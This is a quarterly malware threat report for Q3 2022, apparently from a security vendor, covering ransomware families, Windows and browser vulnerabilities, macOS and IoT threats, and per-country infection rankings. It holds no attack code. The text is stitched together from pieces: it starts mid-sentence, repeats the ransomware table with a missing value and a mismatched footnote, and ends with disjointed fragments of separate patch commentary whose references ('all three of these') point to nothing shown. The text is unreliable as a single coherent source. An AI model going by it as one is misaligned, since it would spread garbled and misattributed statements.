ransomware attack. The Trojan was likely [used](<https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/>) by the North Korean operators Andariel. The DOJ said victims had started getting their money back.\n\nThe creators of the little-known AstraLocker and Yashma ransomware [published](<https://www.bleepingcomputer.com/news/security/astralocker-ransomware-shuts-down-and-releases-decryptors/>) decryptors and stopped spreading both of them. The hackers provided no explanation for the move, but it appeared to be related to an increase in media coverage.\n\n### Number of new modifications\n\nIn Q3 2022, we detected 17 new ransomware families and 14,626 new modifications of this malware type. More than 11,000 of those were assigned the verdict of Trojan-Ransom.Win32.Crypmod, which hit the sixth place in our rankings of the most widespread ransomware Trojans.\n\n_Number of new ransomware modifications, Q3 2021 \u2014 Q3 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/11/15154421/03-en-ru-es-malware-report-q3-2022-pc-stat.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nIn Q3 2022, Kaspersky products and technologies protected 72,941 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q3 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/11/15154500/04-en-malware-report-q3-2022-pc-stat.png>))_\n\n**TOP 10 most common families of ransomware Trojans**\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 14.76 \n2 | WannaCry | Trojan-Ransom.Win32.Wanna | 12.12 \n3 | (generic verdict) | Trojan-Ransom.Win32.Gen | 11.68 \n4 | Stop/Djvu | Trojan-Ransom.Win32.Stop | 6.59 \n5 | (generic verdict) | Trojan-Ransom.Win32.Phny | 6.53 \n6 | (generic verdict) | Trojan-Ransom.Win32.Crypmod \n7 | Magniber | Trojan-Ransom.Win64.Magni | 4.93 \n8 | PolyRansom/VirLock | Trojan-Ransom.Win32.PolyRansom / Virus.Win32.PolyRansom | 4.84 \n9 | (generic verdict) | Trojan-Ransom.Win32.Instructions | 4.35 \n10 | Hive | Trojan-Ransom.Win32.Hive | 3.87 \n \n_* Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\n### Geography of attacked users\n\n**TOP 10 countries and territories attacked by ransomware Trojans**\n\n| **Country or territory*** | **%**** \n---|---|--- \n1 | Bangladesh | 1.66 \n2 | Yemen | 1.30 \n3 | South Korea | 0.98 \n4 | Taiwan | 0.77 \n5 | Mozambique | 0.64 \n6 | China | 0.52 \n7 | Colombia | 0.43 \n8 | Nigeria | 0.40 \n9 | Pakistan | 0.39 \n10 | Venezuela | 0.32 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000). \n** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n### TOP 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts*** | **Percentage of attacked users**** \n---|---|---|--- \n1 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 14.76 \n2 | WannaCry | Trojan-Ransom.Win32.Wanna | 12.12 \n3 | (generic verdict) | Trojan-Ransom.Win32.Gen | 11.68 \n4 | Stop/Djvu | Trojan-Ransom.Win32.Stop | 6.59 \n5 | (generic verdict) | Trojan-Ransom.Win32.Phny | 6.53 \n6 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 5.46 \n7 | Magniber | Trojan-Ransom.Win64.Magni | 4.93 \n8 | PolyRansom/VirLock | Trojan-Ransom.Win32.PolyRansom / Virus.Win32.PolyRansom | 4.84 \n9 | (generic verdict) | Trojan-Ransom.Win32.Instructions | 4.35 \n10 | Hive | Trojan-Ransom.Win32.Hive | 3.87 \n \n_* Statistics are based on detection verdicts of Kaspersky products.

Let&#x27;s begin with Microsoft Windows and some of its components. Researchers found new vulnerabilities that affected the CLFS driver: [CVE-2022-30220](<https://nvd.nist.gov/vuln/detail/CVE-2022-30220>), along with [CVE-2022-35803](<https://nvd.nist.gov/vuln/detail/CVE-2022-35803>) and [CVE-2022-37969](<https://nvd.nist.gov/vuln/detail/CVE-2022-37969>), both encountered in the wild. By manipulating Common Log File System data in a specific way, an attacker can make the kernel write their own data to arbitrary memory addresses, allowing cybercriminals to hijack kernel control and elevate their privileges in the system. Several vulnerabilities were discovered in the Print Spooler service: [CVE-2022-22022](<https://nvd.nist.gov/vuln/detail/CVE-2022-22022>), [CVE-2022-30206](<https://nvd.nist.gov/vuln/detail/CVE-2022-30206>), and [CVE-2022-30226](<https://nvd.nist.gov/vuln/detail/CVE-2022-30226>). These allow elevating the system privileges through a series of manipulations while installing a printer. Serious vulnerabilities were also discovered in the Client/Server Runtime Subsystem (CSRSS), an essential Windows component. Some of these can be exploited for privilege escalation ([CVE-2022-22047](<https://nvd.nist.gov/vuln/detail/CVE-2022-22047>), [CVE-2022-22049](<https://nvd.nist.gov/vuln/detail/CVE-2022-22049>), and [CVE-2022-22026](<https://nvd.nist.gov/vuln/detail/CVE-2022-22026>)), while [CVE-2022-22038](<https://nvd.nist.gov/vuln/detail/CVE-2022-22038>) affects remote procedure call (RPC) protocol, allowing an attacker to execute arbitrary code remotely. A series of critical vulnerabilities were discovered in the graphics subsystem, including [CVE-2022-22034](<https://nvd.nist.gov/vuln/detail/CVE-2022-22034>) and [CVE-2022-35750](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35750>), which can also be exploited for privilege escalation. Note that most of the above vulnerabilities require that exploits entrench in the system before an attacker can run their malware. The Microsoft Support Diagnostic Tool (MSDT) was found to contain a further two vulnerabilities, [CVE-2022-34713](<https://nvd.nist.gov/vuln/detail/CVE-2022-34713>) and [CVE-2022-35743](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35743>), which can be exploited to take advantage of security flaws in the link handler to remotely run commands in the system.\n\nMost of the network threats detected in Q3 2022 were again attacks associated with [brute-forcing](<https://encyclopedia.kaspersky.com/glossary/brute-force/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) passwords for Microsoft SQL Server, RDP, and other services. Network attacks on vulnerable versions of Windows via EternalBlue, EternalRomance, and other exploits were still common. The attempts at exploiting network services and other software via vulnerabilities in the Log4j library ([CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>), [CVE-2021-44832](<https://nvd.nist.gov/vuln/detail/CVE-2021-44832>), [CVE-2021-45046](<https://nvd.nist.gov/vuln/detail/CVE-2021-45046>), and [CVE-2021-45105](<https://nvd.nist.gov/vuln/detail/cve-2021-45105>)) also continued. Several vulnerabilities were found in the Microsoft Windows Network File System (NFS) driver. These are [CVE-2022-22028](<https://nvd.nist.gov/vuln/detail/CVE-2022-22028>), which can lead to leakage of confidential information, as well as [CVE-2022-22029](<https://nvd.nist.gov/vuln/detail/CVE-2022-22029>), [CVE-2022-22039](<https://nvd.nist.gov/vuln/detail/CVE-2022-22039>) and [CVE-2022-34715](<https://nvd.nist.gov/vuln/detail/CVE-2022-34715>), which a cybercriminal can use to remotely execute arbitrary code in the system \u2014 in kernel context \u2014 by using a specially crafted network packet. The TCP/IP stack was found to contain the critical vulnerability [CVE-2022-34718](<https://nvd.nist.gov/vuln/detail/CVE-2022-34718>), which allows in theory to remotely exploit a target system by taking advantage of errors in the IPv6 protocol handler. Finally, it is worth mentioning the [CVE-2022-34724](<https://nvd.nist.gov/vuln/detail/CVE-2022-34724>) vulnerability, which affects Windows DNS Server and can lead to denial of service if exploited.\n\nTwo vulnerabilities in Microsoft Exchange Server, [CVE-2022-41040](<https://nvd.nist.gov/vuln/detail/CVE-2022-41040>) and [CVE-2022-41082](<https://nvd.nist.gov/vuln/detail/CVE-2022-41082>), received considerable media coverage. They were collectively dubbed &quot;ProxyNotShell&quot; in reference to the ProxyShell vulnerabilities with similar exploitation technique (they were closed earlier). Researchers discovered the ProxyNotShell exploits while investigating an APT attack: an authenticated user can use the loopholes to elevate their privileges and run arbitrary code on an MS Exchange server. As a result, the attacker can steal confidential data, encrypt critical files on the server to to extort money from the victim, etc.\n\n### Vulnerability statistics\n\nIn Q3 2022, malicious Microsoft Office documents again accounted for the greatest number of detections \u2014 80% of the exploits we discovered, although the number decreased slightly compared to Q2. Most of these detections were triggered by exploits that targeted the following vulnerabilities:\n\n * [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>) and [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>), in the Equation Editor component, which allow corrupting the application memory when processing formulas, and subsequently running arbitrary code in the system;\n * [CVE-2017-0199](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199>), which allows downloading and running malicious script files;\n * [CVE-2022-30190](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-30190>), also known as &quot;Follina&quot;, which exploits a flaw in the Microsoft Windows Support Diagnostic Tool (MSDT) for running arbitrary programs in a vulnerable system even in Protected Mode or when macros are disabled;\n * [CVE-2021-40444](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444>), which allows an attacker to deploy malicious code using a special ActiveX template due to inadequate input validation.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q3 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/11/15154631/09-en-malware-report-q3-2022-pc-stat.png>))_\n\nThese were followed by exploits that target browsers. Their share amounted to 6%, or 1% higher than in Q2. We will list the most serious vulnerabilities, all of them targeting Google Chrome:\n\n * [CVE-2022-2294](<https://nvd.nist.gov/vuln/detail/CVE-2022-2294>), in the WebRTC component, which leads to buffer overflow;\n * [CVE-2022-2624](<https://nvd.nist.gov/vuln/detail/CVE-2022-2624>), which exploits a memory overflow error in the PDF viewing component;\n * [CVE-2022-2295](<https://nvd.nist.gov/vuln/detail/CVE-2022-2295>), a Type Confusion error that allows an attacker to corrupt the browser process memory remotely and run arbitrary code in a sandbox;\n * [CVE-2022-3075](<https://nvd.nist.gov/vuln/detail/CVE-2022-3075>), an error linked to inadequate input validation in the Mojo interprocess communication component in Google Chromium-based browsers that allows escaping the sandbox and running arbitrary commands in the system.\n\nSince many modern browsers are based on Google Chromium, attackers can often take advantage of the shared vulnerabilities to attack the other browsers as long as they run on one engine.\n\nA series of vulnerabilities were identified in Microsoft Edge. Worth noting is [CVE-2022-33649](<https://nvd.nist.gov/vuln/detail/CVE-2022-33649>), which allows running an application in the system by circumventing the browser protections; [CVE-2022-33636](<https://nvd.nist.gov/vuln/detail/CVE-2022-33636>) and [CVE-2022-35796](<https://nvd.nist.gov/vuln/detail/CVE-2022-35796>), Race Condition vulnerabilities that ultimately allow a sandbox escape; and [CVE-2022-38012](<https://nvd.nist.gov/vuln/detail/CVE-2022-38012>), which exploits an application memory corruption error, with similar results.\n\nThe Mozilla Firefox browser was found to contain vulnerabilities associated with memory corruption, which allow running arbitrary code in the system: [CVE-2022-38476](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38476>), a Race Condition vulnerability that leads to a subsequent Use-After-Free scenario, and the similar vulnerabilities [CVE-2022-38477](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38477>) and [CVE-2022-38478](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38478>), which exploit memory corruption. As you can see from our reports, browsers are an attractive target for cybercriminals, as these are widely used and allow attackers to infiltrate the system remotely and virtually unbeknownst to the user. That said, browser vulnerabilities are not simple to exploit, as attackers often have to use a chain of vulnerabilities to work around the protections of modern browsers.\n\nThe remaining positions in our rankings were distributed among Android (5%) and Java (4%) exploits. The fifth-highest number of exploits (3%) targeted Adobe Flash, a technology that is obsolete but remains in use. Rounding out the rankings with 2% were exploits spread through PDF documents.\n\n## Attacks on macOS\n\nThe third quarter of 2022 brought with it a significant number of interesting macOS malware discoveries. In particular, researchers found [Operation In(ter)ception](<https://www.sentinelone.com/blog/lazarus-operation-interception-targets-macos-users-dreaming-of-jobs-in-crypto/>), a campaign operated by North Korean Lazarus group, which targets macOS users looking for cryptocurrency jobs. The malware was disguised as documents containing summaries of positions at Coinbase and Crypto.com.\n\n[CloudMensis](<https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/>), a spy program written in Objective-C, used cloud storage services as C&amp;C servers and [shared several characteristics](<https://twitter.com/ESETresearch/status/1575103839115804672>) with the RokRAT Windows malware operated by ScarCruft.\n\nThe creators of XCSSET [adapted](<https://www.sentinelone.com/blog/xcsset-malware-update-macos-threat-actors-prepare-for-life-without-python/>) their toolset to macOS Monterey and migrated from Python 2 to Python 3.\n\nIn Q3, cybercrooks also began to make use of open-source tools in their attacks. July saw the discovery of two campaigns that used a fake [VPN application](<https://www.sentinelone.com/blog/from-the-front-lines-new-macos-covid-malware-masquerades-as-apple-wears-face-of-apt/>) and fake [Salesforce updates](<https://twitter.com/ESETresearch/status/1547943014860894210>), both built on the Sliver framework.\n\nIn addition to this, researchers announced a new multi-platform [find](<https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/>): the LuckyMouse group (APT27 / Iron Tiger / Emissary Panda) attacked Windows, Linux, and macOS users with a malicious mod of the Chinese MiMi instant messaging application.\n\n### TOP 20 threats for macOS\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Amc.e | 14.77 \n2 | AdWare.OSX.Pirrit.ac | 10.45 \n3 | AdWare.OSX.Agent.ai | 9.40 \n4 | Monitor.OSX.HistGrabber.b | 7.15 \n5 | AdWare.OSX.Pirrit.j | 7.10 \n6 | AdWare.OSX.Bnodlero.at | 6.09 \n7 | AdWare.OSX.Bnodlero.ax | 5.95 \n8 | Trojan-Downloader.OSX.Shlayer.a | 5.71 \n9 | AdWare.OSX.Pirrit.ae | 5.27 \n10 | Trojan-Downloader.OSX.Agent.h | 3.87 \n11 | AdWare.OSX.Bnodlero.bg | 3.46 \n12 | AdWare.OSX.Pirrit.o | 3.32 \n13 | AdWare.OSX.Agent.u | 3.13 \n14 | AdWare.OSX.Agent.gen | 2.90 \n15 | AdWare.OSX.Pirrit.aa | 2.85 \n16 | Backdoor.OSX.Twenbc.e | 2.85 \n17 | AdWare.OSX.Ketin.h | 2.82 \n18 | AdWare.OSX.Pirrit.gen | 2.69 \n19 | Trojan-Downloader.OSX.Lador.a | 2.52 \n20 | Downloader.OSX.InstallCore.ak | 2.28 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\nAs usual, our TOP 20 ranking for biggest threats encountered by users of Kaspersky security solutions for macOS were dominated by adware. AdWare.OSX.Amc.e, touted as &quot;Advanced Mac Cleaner,&quot; had taken the top place for a second quarter in a row. This application displays fake system issue messages, offering to buy the full version to fix those. Second and third places went to members of the AdWare.OSX.Pirrit and AdWare.OSX.Agent families.\n\n### Geography of threats for macOS\n\n**TOP 10 countries and territories by share of attacked users**\n\n| **Country or territory*** | **%**** \n---|---|--- \n1 | France | 1.71 \n2 | Canada | 1.70 \n3 | Russia | 1.57 \n4 | India | 1.53 \n5 | United States | 1.52 \n6 | Spain | 1.48 \n7 | Australia | 1.36 \n8 | Italy | 1.35 \n9 | Mexico | 1.27 \n10 | United Kingdom | 1.24 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000). \n** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nFrance, with 1.71%, was again the most attacked country by number of users. Canada, with 1.70%, and Russia, with 1.57%, followed close behind. The most frequently encountered family in France and Canada was AdWare.OSX.Amc.e, and in Russia, it was AdWare.OSX.Pirrit.ac.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q3 2022, three-fourths of the devices that attacked Kaspersky honeypots used the Telnet protocol.\n\nTelnet | 75.92% \n---|--- \nSSH | 24.08% \n \n_Distribution of attacked services by number of unique IP addresses of attacking devices, Q3 2022_\n\nA majority of the attacks on Kaspersky honeypots in terms of sessions were controlled via Telnet as well.\n\nTelnet | 97.53% \n---|--- \nSSH | 2.47% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q3 2022_\n\n**TOP 10 threats delivered to IoT devices via Telnet**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 28.67 \n2 | Trojan-Downloader.Linux.NyaDrop.b | 18.63 \n3 | Backdoor.Linux.Mirai.ba | 11.63 \n4 | Backdoor.Linux.Mirai.cw | 10.94 \n5 | Backdoor.Linux.Gafgyt.a | 3.69 \n6 | Backdoor.Linux.Mirai.ew | 3.49 \n7 | Trojan-Downloader.Shell.Agent.p | 2.56 \n8 | Backdoor.Linux.Gafgyt.bj | 1.63 \n9 | Backdoor.Linux.Mirai.et | 1.17 \n10 | Backdoor.Linux.Mirai.ek | 1.08 \n \n_* Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats._\n\nDetailed IoT-threat statistics are published in the DDoS report for Q3 2022.\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create these sites on purpose; they can infect hacked legitimate resources as well as web resources with user-created content, such as forums._\n\n### Countries and territories that serve as sources of web-based attacks: TOP 10\n\n_The following statistics show the distribution by country or territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&amp;C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted._\n\nIn Q3 2022, Kaspersky solutions blocked 956,074,958 attacks launched from online resources across the globe. A total of 251,288,987 unique URLs were recognized as malicious by Web Anti-Virus components.\n\n_Distribution of web-attack sources country and territory, Q3 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/11/15154703/11-en-malware-report-q3-2022-pc-stat.png>))_\n\n### Countries and territories where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries and territories, for each country or territory we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.\n\nNote that these rankings only include attacks by malicious objects that fall under the **_Malware_**_ class_; they do not include Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| **Country or territory*** | **%**** \n---|---|--- \n1 | Taiwan | 19.65 \n2 | Belarus | 17.01 \n3 | Serbia | 15.05 \n4 | Russia | 14.12 \n5 | Algeria | 14.01 \n6 | Turkey | 13.82 \n7 | Tunisia | 13.31 \n8 | Bangladesh | 13.30 \n9 | Moldova | 13.22 \n10 | Palestine | 12.61 \n11 | Yemen | 12.58 \n12 | Ukraine | 12.25 \n13 | Libya | 12.23 \n14 | Sri Lanka | 11.97 \n15 | Kyrgyzstan | 11.69 \n16 | Estonia | 11.65 \n17 | Hong Kong | 11.52 \n18 | Nepal | 11.52 \n19 | Syria | 11.39 \n20 | Lithuania | 11.33 \n \n_* Excluded are countries and territories with relatively few Kaspersky users (under 10,000)._ \n_** Unique users targeted by **Malware**-class attacks as a percentage of all unique users of Kaspersky products in the country._\n\nOn average during the quarter, 9.08% of internet users&#x27; computers worldwide were subjected to at least one **Malware**-class web attack.\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules of Kaspersky products. It takes into account malicious programs that were found directly on users&#x27; computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q3 2022, our File Anti-Virus detected **49,275,253** malicious and potentially unwanted objects.\n\n### Countries and territories where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nThese rankings only include attacks by malicious programs that fall under the **Malware** class; they do not include File Anti-Virus triggerings in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| **Country or territory*** | **%**** \n---|---|--- \n1 | Turkmenistan | 46.48 \n2 | Yemen | 45.12 \n3 | Afghanistan | 44.18 \n4 | Cuba | 40.48 \n5 | Tajikistan | 39.17 \n6 | Bangladesh | 37.06 \n7 | Uzbekistan | 37.00 \n8 | Ethiopia | 36.96 \n9 | South Sudan | 36.89 \n10 | Myanmar | 36.64 \n11 | Syria | 34.82 \n12 | Benin | 34.56 \n13 | Burundi | 33.91 \n14 | Tanzania | 33.05 \n15 | Rwanda | 33.03 \n16 | Chad | 33.01 \n17 | Venezuela | 32.79 \n18 | Cameroon | 32.30 \n19 | Sudan | 31.93 \n20 | Malawi | 31.88 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers **Malware**-class local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\nOn average worldwide, Malware-class local threats were registered on 14.74% of users&#x27; computers at least once during Q3.

This is an elevation-of-privilege vulnerability in the Windows Client Server Runtime Subsystem (CSRSS), a critical service that is often impersonated by malware. An attacker with an already-existing foothold can exploit this vulnerability to gain SYSTEM-level privileges. Two similar vulnerabilities in CSRSS ([CVE-2022-22049](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22049>) and [CVE-2022-22026](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22026>)) were also fixed, likely as a result of Microsoft\u2019s investigation into the in-the-wild exploitation of [CVE-2022-22047](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22047>).\n\nFour critical remote code execution (RCE) vulnerabilities were fixed today.

Although all three of these will be relatively tricky for attackers to exploit due to the amount of sustained data that needs to be transmitted, administrators should patch sooner rather than later. [CVE-2022-30221](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30221>) supposedly affects the Windows Graphics Component, though Microsoft\u2019s FAQ indicates that exploitation requires users to access a malicious RDP server.\n\nOver a third of today\u2019s vulnerabilities (a whopping 32 CVEs) affect their Azure Site Recovery offering.
